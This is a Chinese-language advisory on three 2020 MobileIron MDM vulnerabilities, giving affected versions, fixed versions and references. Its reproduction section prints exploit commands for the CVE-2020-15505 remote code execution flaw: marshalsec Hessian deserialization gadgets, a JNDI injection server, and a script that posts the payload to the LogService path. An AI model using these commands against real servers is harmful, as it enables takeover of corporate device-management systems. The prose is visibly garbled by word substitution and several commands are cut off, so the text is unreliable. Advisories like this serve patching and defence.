MobileIron | 11月MDM多个清静误差通告
宣布时间 2020-11-260x00 误差概述
产品名称 | CVE ID | 类 型 | 误差品级 | 远程使用 |
MobileIron Core & Connector、Sentry、Monitor and Reporting Database (RDB) | CVE-2020-15505 | RCE | 严重 | 是 |
MobileIron Core＆Connector | CVE-2020-15506 | 身份验证绕过 | 严重 | 是 |
MobileIron Core | CVE-2020-15507 | 恣意文件读取 | 高危 | 是 |
0x01 误差详情
MobileIron是全球领先且生长最迅速的移动IT解决计划厂商之一，在全球有近20000家公司使用MobileIron的移动装备管明确决计划（MDM）。
2020年10月22日，MobileIron宣布更新通告，MDM中保存的多个清静误差（CVE-2020-15505、CVE-2020-15506和CVE-2020-15507）已在6月15日宣布的补丁中被修复。误差详情如下：
MobileIron远程代码执行误差（CVE-2020-15505）
该误差是MobileIron移动装备管理（MDM）中的一个远程代码执行误差，其CVSS评分9.8。攻击者可以使用此误差执行恣意代码并控制公司的服务器。
该误差的PoC已于9月在Github上被宣布。克日，该误差正在被APT组织和网络犯法组织起劲实验使用。
误差复现：
Groovy反序列化小工具
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" "
python hessian.py -u 'https://mobileiron-mdm-instance/mifs/.;/services/LogService' -p exp.ser
外地JNDI注入
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor rmi://
python hessian.py -p exp -u 'https://mobileiron-mdm-instance/mifs/.;/services/LogService'
影响规模：
MobileIron Core＆Connector：10.3.0.3及之前版本、10.4.0.0、10.4.0.1、10.4.0.2、10.4.0.3、10.5.1.0、10.5.2.0、10.6.0.0
Sentry：9.7.2及之前版本、9.8.0
Monitor and Reporting Database (RDB)：2.0.0.1及之前版本
MobileIron身份验证绕过误差（CVE-2020-15506）
该误差是MobileIron移动装备管理（MDM）中的一个身份验证绕过误差，其CVSS评分9.8。攻击者可使用此误差绕过身份验证机制。
影响规模：
MobileIron Core＆Connector：
10.3.0.3及之前版本
10.4.0.0、10.4.0.1、10.4.0.2、10.4.0.3
10.5.1.0、10.5.2.0
10.6.0.0
MobileIron恣意文件读取误差（CVE-2020-15507）
该误差是MobileIron移动装备管理（MDM）中的一个恣意文件读取误差，其CVSS评分7.5。攻击者可使用此误差读取文件系统中的敏感信息。
影响规模：
MobileIron Core：
10.3.0.3及之前版本
10.4.0.0、10.4.0.1、10.4.0.2、10.4.0.3
10.5.1.0、10.5.2.0
10.6.0.0
0x02 处置惩罚建议
现在MobileIron已经宣布了相关更新，建议参升级至如下版本。
MobileIron Core & Enterprise Connector：
v10.3.0.4、v10.4.0.4、v10.5.1.1、v10.5.2.1、v10.6.0.或更高版本。
MobileIron Sentry：
v9.7.3、v9.8.1或更高版本。
MobileIron Monitor and Reporting Database (RDB)：
v2.0.0.2或更高版本。
补丁链接：
https://help.mobileiron.com/s/article-detail-page?Id=kA12T000000g065SAA
0x03 参考链接
https://www.mobileiron.com/en/blog/mobileiron-security-updates-available
https://threatpost.com/critical-mobileiron-rce-flaw-attack/161600/
https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505
0x04 时间线
2020-07-01 MobileIron宣布清静通告
2020-10-22 MobileIron更新清静通告
2020-11-26 VSRC宣布清静通告
0x05 附录
CVSS评分标准官网：http://www.first.org/cvss/
京公网安备11010802024551号